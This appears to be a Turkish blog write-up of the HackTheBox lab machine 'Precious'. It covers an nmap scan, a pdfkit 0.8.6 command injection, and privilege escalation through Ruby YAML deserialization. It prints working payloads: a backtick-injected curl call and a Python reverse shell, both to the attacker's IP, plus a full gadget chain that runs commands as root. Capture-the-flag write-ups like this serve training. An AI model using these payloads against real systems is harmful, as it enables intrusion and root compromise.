Makinayi nmap ile tarıyoruz .
nmap -sS -Pn --top-port 1000 -sC -sV -oN nmap.txt 10.10.11.189
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.070s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
/etc/hosts dosyasına precious.htb adresini ekliyoruz . Adrese gittiğimizde bizi aşağıdaki sayfa karşılyor .
Sadece girilen web sayfalarını pdf olarak döndürme fonksiyonuna sahip uygulama bizi karşılıyor . Http isteklerini incelediğimizde Server header'ı dikkatimizi çekiyor .
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Mon, 06 Mar 2023 12:55:10 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Encoding: gzip
Uygulamayı daha rahat incelemek için Burp Suite ile araya giriyoruz .
Oluşturulan pdf dosyasının içinde Generated by pdfkit v0.8.6 bilgisi dikkat çekiyor . İnternette araştırdığımızda bu versiyonun command injection zafiyetine sahip olduğunu anlıyoruz . Zafiyete ilişkin detaylı bilgi aşağıdaki linkte .
- https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Netcat ile 4444. portu dinlemeye alıyoruz . Uygulamaya zafiyeti test etmek için http://%20`curl -X POST -d 'Code execution success !' http://10.10.14.100:4444` inputu ile istek yapıyoruz .
Payload başarılı bir şekilde çalışıyor . Sisteme erişim elde etmek için kendi sistemimizde 4444. portunu dinlemeye alıp , hedef uygulamaya http://%20`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.100",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")` payload'ı ile istek yapıyoruz .
Erişim elde ettiğimzde /var/www/pdfapp klasörünün içinde uygulamanın kaynak kodlarını görüntülüyoruz fakat önemli veri bulunmuyor .
Bulunduğumuz dizinde keşif yaparken .bundle adlı klasör dikkat çekiyor .
Bu noktadan itibaren yetki yükseltme aşamasındayız . Sudo -l komutunu kullanarak root yetkisi ile çalıştırabileceğimiz ruby ve ruby kodu mevcut . update_dependencies.rb dosyasını düzgün görüntüleyemediğimiz için ssh ile bağlanarak devam ediyoruz .
Kabaca dosyayı incelediğimizde dependencies.yml dosyasını okuyup bağımlılıkları kontrol ettiğini görüyoruz . Dosyayı çalıştırabiliyoruz fakat düzenleme yetkisine sahip değiliz . Google'da ruby dependencies code execution gibi anahtar kelimlerle arama yaptığımızda https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/ adresinde aradığımızı buluyoruz . Dependencies.yml dosyasını oluşturup içine
```
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: whoami
method_id: :resolve
```
kodunu yerleştiriyoruz ve çalıştırdığımızda root yetkisinde kod yürütebildiğimizi görüyoruz .
/root dizini altındaki root.txt dosyasından flag'i elde ediyoruz .
No comments:
Post a Comment